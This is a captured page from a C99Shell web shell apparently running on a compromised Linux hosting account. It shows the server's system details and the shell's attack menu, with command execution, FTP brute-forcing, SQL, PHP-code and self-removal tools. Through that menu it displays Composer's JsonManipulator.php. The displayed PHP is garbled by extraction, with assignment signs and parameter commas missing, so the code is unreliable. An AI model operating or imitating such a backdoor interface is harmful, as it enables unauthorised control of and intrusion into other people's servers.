!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 

uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10
11:16:02 MSK 2026 x86_64
 

uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782)  

Safe-mode: OFF (not secure)

/usr/share/php/Composer/Json/   drwxr-xr-x
Free 59.95 GB of 99.95 GB (59.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JsonManipulator.php (20.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Json;

use 
Composer\Pcre\Preg;
use 
Composer\Repository\PlatformRepository;

/**
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class JsonManipulator
{
    
/** @var string */
    
private const DEFINES '(?(DEFINE)
       (?<number>    -? (?= [1-9]|0(?!\d) ) \d++ (?:\.\d++)? (?:[eE] [+-]?+ \d++)? )
       (?<boolean>   true | false | null )
       (?<string>    " (?:[^"\\\\]*+ | \\\\ ["\\\\bfnrt\/] | \\\\ u [0-9A-Fa-f]{4} )* " )
       (?<array>     \[  (?:  (?&json) \s*+ (?: , (?&json) \s*+ )*+  )?+  \s*+ \] )
       (?<pair>      \s*+ (?&string) \s*+ : (?&json) \s*+ )
       (?<object>    \{  (?:  (?&pair)  (?: , (?&pair)  )*+  )?+  \s*+ \} )
       (?<json>      \s*+ (?: (?&number) | (?&boolean) | (?&string) | (?&array) | (?&object) ) )
    )'
;

    
/** @var string */
    
private $contents;
    
/** @var string */
    
private $newline;
    
/** @var string */
    
private $indent;

    public function 
__construct(string $contents)
    {
        
$contents trim($contents);
        if (
$contents === '') {
            
$contents '{}';
        }
        if (!
Preg::isMatch('#^\{(.*)\}$#s'$contents)) {
            throw new \
InvalidArgumentException('The json file must be an object ({})');
        }
        
$this->newline false !== strpos($contents"\r\n") ? "\r\n" "\n";
        
$this->contents $contents === '{}' '{' $this->newline '}' $contents;
        
$this->detectIndenting();
    }

    public function 
getContents(): string
    
{
        return 
$this->contents $this->newline;
    }

    public function 
addLink(string $typestring $packagestring $constraintbool $sortPackages false): bool
    
{
        
$decoded JsonFile::parseJson($this->contents);

        
// no link of that type yet
        
if (!isset($decoded[$type])) {
            return 
$this->addMainKey($type, [$package => $constraint]);
        }

        
$regex '{'.self::DEFINES.'^(?P<start>\s*\{\s*(?:(?&string)\s*:\s*(?&json)\s*,\s*)*?)'.
            
'(?P<property>'.preg_quote(JsonFile::encode($type)).'\s*:\s*)(?P<value>(?&json))(?P<end>.*)}sx';
        if (!
Preg::isMatch($regex$this->contents$matches)) {
            return 
false;
        }
        
assert(is_string($matches['start']));
        
assert(is_string($matches['value']));
        
assert(is_string($matches['end']));

        
$links $matches['value'];

        
// try to find existing link
        
$packageRegex str_replace('/''\\\\?/'preg_quote($package));
        
$regex '{'.self::DEFINES.'"(?P<package>'.$packageRegex.')"(\s*:\s*)(?&string)}ix';
        if (
Preg::isMatch($regex$links$packageMatches)) {
            
assert(is_string($packageMatches['package']));
            
// update existing link
            
$existingPackage $packageMatches['package'];
            
$packageRegex str_replace('/''\\\\?/'preg_quote($existingPackage));
            
$links Preg::replaceCallback('{'.self::DEFINES.'"'.$packageRegex.'"(?P<separator>\s*:\s*)(?&string)}ix', static function ($m) use ($existingPackage$constraint): string {
                return 
JsonFile::encode(str_replace('\\/''/'$existingPackage)) . $m['separator'] . '"' $constraint '"';
            }, 
$links);
        } else {
            if (
Preg::isMatchStrictGroups('#^\s*\{\s*\S+.*?(\s*\}\s*)$#s'$links$match)) {
                
// link missing but non empty links
                
$links Preg::replace(
                    
'{'.preg_quote($match[1]).'$}',
                    
// addcslashes is used to double up backslashes/$ since preg_replace resolves them as back references otherwise, see #1588
                    
addcslashes(',' $this->newline $this->indent $this->indent JsonFile::encode($package).': '.JsonFile::encode($constraint) . $match[1], '\\$'),
                    
$links
                
);
            } else {
                
// links empty
                
$links '{' $this->newline .
                    
$this->indent $this->indent JsonFile::encode($package).': '.JsonFile::encode($constraint) . $this->newline .
                    
$this->indent '}';
            }
        }

        if (
true === $sortPackages) {
            
$requirements json_decode($linkstrue);
            
$this->sortPackages($requirements);
            
$links $this->format($requirements);
        }

        
$this->contents $matches['start'] . $matches['property'] . $links $matches['end'];

        return 
true;
    }

    
/**
     * Sorts packages by importance (platform packages first, then PHP dependencies) and alphabetically.
     *
     * @link https://getcomposer.org/doc/02-libraries.md#platform-packages
     *
     * @param array<string> $packages
     */
    
private function sortPackages(array &$packages = []): void
    
{
        
$prefix = static function ($requirement): string {
            if (
PlatformRepository::isPlatformPackage($requirement)) {
                return 
Preg::replace(
                    [
                        
'/^php/',
                        
'/^hhvm/',
                        
'/^ext/',
                        
'/^lib/',
                        
'/^\D/',
                    ],
                    [
                        
'0-$0',
                        
'1-$0',
                        
'2-$0',
                        
'3-$0',
                        
'4-$0',
                    ],
                    
$requirement
                
);
            }

            return 
'5-'.$requirement;
        };

        
uksort($packages, static function ($a$b) use ($prefix): int {
            return 
strnatcmp($prefix($a), $prefix($b));
        });
    }

    
/**
     * @param array<string, mixed>|false $config
     */
    
public function addRepository(string $name$configbool $append true): bool
    
{
        return 
$this->addSubNode('repositories'$name$config$append);
    }

    public function 
removeRepository(string $name): bool
    
{
        return 
$this->removeSubNode('repositories'$name);
    }

    
/**
     * @param mixed  $value
     */
    
public function addConfigSetting(string $name$value): bool
    
{
        return 
$this->addSubNode('config'$name$value);
    }

    public function 
removeConfigSetting(string $name): bool
    
{
        return 
$this->removeSubNode('config'$name);
    }

    
/**
     * @param mixed $value
     */
    
public function addProperty(string $name$value): bool
    
{
        if (
strpos($name'suggest.') === 0) {
            return 
$this->addSubNode('suggest'substr($name8), $value);
        }

        if (
strpos($name'extra.') === 0) {
            return 
$this->addSubNode('extra'substr($name6), $value);
        }

        if (
strpos($name'scripts.') === 0) {
            return 
$this->addSubNode('scripts'substr($name8), $value);
        }

        return 
$this->addMainKey($name$value);
    }

    public function 
removeProperty(string $name): bool
    
{
        if (
strpos($name'suggest.') === 0) {
            return 
$this->removeSubNode('suggest'substr($name8));
        }

        if (
strpos($name'extra.') === 0) {
            return 
$this->removeSubNode('extra'substr($name6));
        }

        if (
strpos($name'scripts.') === 0) {
            return 
$this->removeSubNode('scripts'substr($name8));
        }

        return 
$this->removeMainKey($name);
    }

    
/**
     * @param mixed  $value
     */
    
public function addSubNode(string $mainNodestring $name$valuebool $append true): bool
    
{
        
$decoded JsonFile::parseJson($this->contents);

        
$subName null;
        if (
in_array($mainNode, ['config''extra''scripts']) && false !== strpos($name'.')) {
            [
$name$subName] = explode('.'$name2);
        }

        
// no main node yet
        
if (!isset($decoded[$mainNode])) {
            if (
$subName !== null) {
                
$this->addMainKey($mainNode, [$name => [$subName => $value]]);
            } else {
                
$this->addMainKey($mainNode, [$name => $value]);
            }

            return 
true;
        }

        
// main node content not match-able
        
$nodeRegex '{'.self::DEFINES.'^(?P<start> \s* \{ \s* (?: (?&string) \s* : (?&json) \s* , \s* )*?'.
            
preg_quote(JsonFile::encode($mainNode)).'\s*:\s*)(?P<content>(?&object))(?P<end>.*)}sx';

        try {
            if (!
Preg::isMatch($nodeRegex$this->contents$match)) {
                return 
false;
            }
        } catch (\
RuntimeException $e) {
            if (
$e->getCode() === PREG_BACKTRACK_LIMIT_ERROR) {
                return 
false;
            }
            throw 
$e;
        }

        
assert(is_string($match['start']));
        
assert(is_string($match['content']));
        
assert(is_string($match['end']));

        
$children $match['content'];
        
// invalid match due to un-regexable content, abort
        
if (!@json_decode($children)) {
            return 
false;
        }

        
// child exists
        
$childRegex '{'.self::DEFINES.'(?P<start>"'.preg_quote($name).'"\s*:\s*)(?P<content>(?&json))(?P<end>,?)}x';
        if (
Preg::isMatch($childRegex$children$matches)) {
            
$children Preg::replaceCallback($childRegex, function ($matches) use ($subName$value): string {
                if (
$subName !== null && is_string($matches['content'])) {
                    
$curVal json_decode($matches['content'], true);
                    if (!
is_array($curVal)) {
                        
$curVal = [];
                    }
                    
$curVal[$subName] = $value;
                    
$value $curVal;
                }

                return 
$matches['start'] . $this->format($value1) . $matches['end'];
            }, 
$children);
        } else {
            
Preg::match('#^{ (?P<leadingspace>\s*?) (?P<content>\S+.*?)? (?P<trailingspace>\s*) }$#sx'$children$match);

            
$whitespace '';
            if (!empty(
$match['trailingspace'])) {
                
$whitespace $match['trailingspace'];
            }

            if (!empty(
$match['content'])) {
                if (
$subName !== null) {
                    
$value = [$subName => $value];
                }

                
// child missing but non empty children
                
if ($append) {
                    
$children Preg::replace(
                        
'#'.$whitespace.'}$#',
                        
addcslashes(',' $this->newline $this->indent $this->indent JsonFile::encode($name).': '.$this->format($value1) . $whitespace '}''\\$'),
                        
$children
                    
);
                } else {
                    
$whitespace '';
                    if (!empty(
$match['leadingspace'])) {
                        
$whitespace $match['leadingspace'];
                    }

                    
$children Preg::replace(
                        
'#^{'.$whitespace.'#',
                        
addcslashes('{' $whitespace JsonFile::encode($name).': '.$this->format($value1) . ',' $this->newline $this->indent $this->indent'\\$'),
                        
$children
                    
);
                }
            } else {
                if (
$subName !== null) {
                    
$value = [$subName => $value];
                }

                
// children present but empty
                
$children '{' $this->newline $this->indent $this->indent JsonFile::encode($name).': '.$this->format($value1) . $whitespace '}';
            }
        }

        
$this->contents Preg::replaceCallback($nodeRegex, static function ($m) use ($children): string {
            return 
$m['start'] . $children $m['end'];
        }, 
$this->contents);

        return 
true;
    }

    public function 
removeSubNode(string $mainNodestring $name): bool
    
{
        
$decoded JsonFile::parseJson($this->contents);

        
// no node or empty node
        
if (empty($decoded[$mainNode])) {
            return 
true;
        }

        
// no node content match-able
        
$nodeRegex '{'.self::DEFINES.'^(?P<start> \s* \{ \s* (?: (?&string) \s* : (?&json) \s* , \s* )*?'.
            
preg_quote(JsonFile::encode($mainNode)).'\s*:\s*)(?P<content>(?&object))(?P<end>.*)}sx';
        try {
            if (!
Preg::isMatch($nodeRegex$this->contents$match)) {
                return 
false;
            }
        } catch (\
RuntimeException $e) {
            if (
$e->getCode() === PREG_BACKTRACK_LIMIT_ERROR) {
                return 
false;
            }
            throw 
$e;
        }

        
assert(is_string($match['start']));
        
assert(is_string($match['content']));
        
assert(is_string($match['end']));

        
$children $match['content'];

        
// invalid match due to un-regexable content, abort
        
if (!@json_decode($childrentrue)) {
            return 
false;
        }

        
$subName null;
        if (
in_array($mainNode, ['config''extra''scripts']) && false !== strpos($name'.')) {
            [
$name$subName] = explode('.'$name2);
        }

        
// no node to remove
        
if (!isset($decoded[$mainNode][$name]) || ($subName && !isset($decoded[$mainNode][$name][$subName]))) {
            return 
true;
        }

        
// try and find a match for the subkey
        
$keyRegex str_replace('/''\\\\?/'preg_quote($name));
        if (
Preg::isMatch('{"'.$keyRegex.'"\s*:}i'$children)) {
            
// find best match for the value of "name"
            
if (Preg::isMatchAll('{'.self::DEFINES.'"'.$keyRegex.'"\s*:\s*(?:(?&json))}x'$children$matches)) {
                
$bestMatch '';
                foreach (
$matches[0] as $match) {
                    
assert(is_string($match));
                    if (
strlen($bestMatch) < strlen($match)) {
                        
$bestMatch $match;
                    }
                }
                
$childrenClean Preg::replace('{,\s*'.preg_quote($bestMatch).'}i'''$children, -1$count);
                if (
!== $count) {
                    
$childrenClean Preg::replace('{'.preg_quote($bestMatch).'\s*,?\s*}i'''$childrenClean, -1$count);
                    if (
!== $count) {
                        return 
false;
                    }
                }
            }
        } else {
            
$childrenClean $children;
        }

        if (!isset(
$childrenClean)) {
            throw new \
InvalidArgumentException("JsonManipulator: \$childrenClean is not defined. Please report at https://github.com/composer/composer/issues/new.");
        }

        
// no child data left, $name was the only key in
        
unset($match);
        
Preg::match('#^{ \s*? (?P<content>\S+.*?)? (?P<trailingspace>\s*) }$#sx'$childrenClean$match);
        if (empty(
$match['content'])) {
            
$newline $this->newline;
            
$indent $this->indent;

            
$this->contents Preg::replaceCallback($nodeRegex, static function ($matches) use ($indent$newline): string {
                return 
$matches['start'] . '{' $newline $indent '}' $matches['end'];
            }, 
$this->contents);

            
// we have a subname, so we restore the rest of $name
            
if ($subName !== null) {
                
$curVal json_decode($childrentrue);
                unset(
$curVal[$name][$subName]);
                
$this->addSubNode($mainNode$name$curVal[$name]);
            }

            return 
true;
        }

        
$this->contents Preg::replaceCallback($nodeRegex, function ($matches) use ($name$subName$childrenClean): string {
            
assert(is_string($matches['content']));
            if (
$subName !== null) {
                
$curVal json_decode($matches['content'], true);
                unset(
$curVal[$name][$subName]);
                
$childrenClean $this->format($curVal);
            }

            return 
$matches['start'] . $childrenClean $matches['end'];
        }, 
$this->contents);

        return 
true;
    }

    
/**
     * @param mixed  $content
     */
    
public function addMainKey(string $key$content): bool
    
{
        
$decoded JsonFile::parseJson($this->contents);
        
$content $this->format($content);

        
// key exists already
        
$regex '{'.self::DEFINES.'^(?P<start>\s*\{\s*(?:(?&string)\s*:\s*(?&json)\s*,\s*)*?)'.
            
'(?P<key>'.preg_quote(JsonFile::encode($key)).'\s*:\s*(?&json))(?P<end>.*)}sx';
        if (isset(
$decoded[$key]) && Preg::isMatch($regex$this->contents$matches)) {
            
// invalid match due to un-regexable content, abort
            
if (!@json_decode('{'.$matches['key'].'}')) {
                return 
false;
            }

            
$this->contents $matches['start'] . JsonFile::encode($key).': '.$content $matches['end'];

            return 
true;
        }

        
// append at the end of the file and keep whitespace
        
if (Preg::isMatch('#[^{\s](\s*)\}$#'$this->contents$match)) {
            
$this->contents Preg::replace(
                
'#'.$match[1].'\}$#',
                
addcslashes(',' $this->newline $this->indent JsonFile::encode($key). ': '$content $this->newline '}''\\$'),
                
$this->contents
            
);

            return 
true;
        }

        
// append at the end of the file
        
$this->contents Preg::replace(
            
'#\}$#',
            
addcslashes($this->indent JsonFile::encode($key). ': '.$content $this->newline '}''\\$'),
            
$this->contents
        
);

        return 
true;
    }

    public function 
removeMainKey(string $key): bool
    
{
        
$decoded JsonFile::parseJson($this->contents);

        if (!
array_key_exists($key$decoded)) {
            return 
true;
        }

        
// key exists already
        
$regex '{'.self::DEFINES.'^(?P<start>\s*\{\s*(?:(?&string)\s*:\s*(?&json)\s*,\s*)*?)'.
            
'(?P<removal>'.preg_quote(JsonFile::encode($key)).'\s*:\s*(?&json))\s*,?\s*(?P<end>.*)}sx';
        if (
Preg::isMatch($regex$this->contents$matches)) {
            
assert(is_string($matches['start']));
            
assert(is_string($matches['removal']));
            
assert(is_string($matches['end']));

            
// invalid match due to un-regexable content, abort
            
if (!@json_decode('{'.$matches['removal'].'}')) {
                return 
false;
            }

            
// check that we are not leaving a dangling comma on the previous line if the last line was removed
            
if (Preg::isMatchStrictGroups('#,\s*$#'$matches['start']) && Preg::isMatch('#^\}$#'$matches['end'])) {
                
$matches['start'] = rtrim(Preg::replace('#,(\s*)$#''$1'$matches['start']), $this->indent);
            }

            
$this->contents $matches['start'] . $matches['end'];
            if (
Preg::isMatch('#^\{\s*\}\s*$#'$this->contents)) {
                
$this->contents "{\n}";
            }

            return 
true;
        }

        return 
false;
    }

    public function 
removeMainKeyIfEmpty(string $key): bool
    
{
        
$decoded JsonFile::parseJson($this->contents);

        if (!
array_key_exists($key$decoded)) {
            return 
true;
        }

        if (
is_array($decoded[$key]) && count($decoded[$key]) === 0) {
            return 
$this->removeMainKey($key);
        }

        return 
true;
    }

    
/**
     * @param mixed $data
     */
    
public function format($dataint $depth 0): string
    
{
        if (
is_array($data)) {
            
reset($data);

            if (
is_numeric(key($data))) {
                foreach (
$data as $key => $val) {
                    
$data[$key] = $this->format($val$depth 1);
                }

                return 
'['.implode(', '$data).']';
            }

            
$out '{' $this->newline;
            
$elems = [];
            foreach (
$data as $key => $val) {
                
$elems[] = str_repeat($this->indent$depth 2) . JsonFile::encode($key). ': '.$this->format($val$depth 1);
            }

            return 
$out implode(','.$this->newline$elems) . $this->newline str_repeat($this->indent$depth 1) . '}';
        }

        return 
JsonFile::encode($data);
    }

    protected function 
detectIndenting(): void
    
{
        
$this->indent JsonFile::detectIndenting($this->contents);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--